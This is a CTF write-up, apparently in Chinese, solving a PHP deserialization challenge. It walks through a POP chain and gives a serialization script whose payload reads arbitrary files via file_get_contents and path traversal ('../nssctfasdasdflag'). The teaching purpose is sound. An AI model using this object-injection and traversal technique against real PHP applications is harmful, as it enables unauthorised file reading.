当前位置: 首页 > article >正文

[第五空间 2021]pklovecloud 详细题解

知识点:

构造POP链
PHP类的作用域
NULL强比较
目录穿越

源码如下:

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

构造POP链:

代码很直白,GET传入参数pks,输出反序列化的结果

从后向前推构造POP链,可以看到ace类中的代码  return file_get_contents($file);

file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

需要满足if($this->openstack->neutron === $this->openstack->nova) 条件

openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性

$this->openstack->neutron = $heat; 

这里代码中并没有出现过$heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,$heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过$heat,那么$heat的值就是NULL

因为类中的属性和类外面的属性值是没关系的

用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件

//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{
    public $filename;
    public $docker;

    public function abc()
    {
        if($this->docker === $heat)
            echo "ddddddddddddddddddddd!";
    }
}

$a = new ace();
echo $a->abc();
?>

结果在下面,这里没有给属性docker赋值,但是满足了 $this->docker === $heat  说明这里是NULL === NULL  $heat不是外面的123456 而是NULL

既然$heat = NULL  $this->openstack->neutron 和 $this->openstack->nova 就也得是NULL

$this->openstack = unserialize($this->docker);   openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL

然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()
cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象

toString()方法会在一个对象被当作字符串时被触发自动调用
最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,$logData是反序列化得到的对象,然后会echo $logData,就会触发__toString()方法,完成构造

pop链:

ace::echo_name() -> acp::__toString() -> acp:: __construct()

序列化代码:

<?php  
class acp 
{   
    protected $cinder ;   //  2  在__construct()内部赋值为ace类对象
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  
class ace
{    
    public $filename = 'flag.php';       //    内部赋值为flag.php
    public $openstack;
    public $docker;        // 1  赋值为空(null),或者什么都不赋值
    
}  

$a= new ace();
$a->docker = null;

$b=new acp();
echo urlencode(serialize($b));

这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别

目录穿越:

查看源码得到flag.php 的源码,$heat确实是在这里定义的

修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';

回显  keystone lost~   说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对

这里 $file = "./{$this->filename}";   ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可

目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可


http://www.kler.cn/a/409404.html

相关文章:

  • Linux线程(Linux和Windows的线程区别、Linux的线程函数、互斥、同步)
  • 安宝特方案 | AR助力紧急救援,科技守卫生命每一刻!
  • [译]Elasticsearch Sequence ID实现思路及用途
  • 零基础学指针(上)
  • RabbitMQ 之 死信队列
  • 力扣.5.最长回文子串力扣.14最长公共前缀力扣219.存在重复元素II力扣.67二进制求和
  • 跟着问题学5——深度学习中的数据集详解(1)
  • 【深度学习】Linux常见命令
  • web前端开发--创建百雀羚网站
  • C++11: STL之bind
  • 【MySQL】sql注入相关内容
  • 【开源风云】从若依系列脚手架汲取编程之道(八)
  • C#里怎么样使用正则表达式?
  • 动态规划—课堂笔记=>背包问题(2)
  • 东胜物流软件 GetDataListCA SQL注入漏洞复现
  • Laravel对接SLS日志服务
  • 如何快速将Excel数据导入到SQL Server数据库
  • 界面控件DevExpress WPF中文教程:网格视图数据布局的列和卡片字段
  • C++中定义类型名的方法
  • 【Golang】——Gin 框架与数据库集成详解
  • Python的tkinter如何把日志弄进文本框(Text)
  • 大事件管理系统项目总结(上)
  • 【Vscode】不同系统快捷键
  • 论防火墙对网络安全的重要性
  • 【大数据学习 | Spark-Core】Spark提交及运行流程
  • Oracle 执行计划查看方法汇总及优劣对比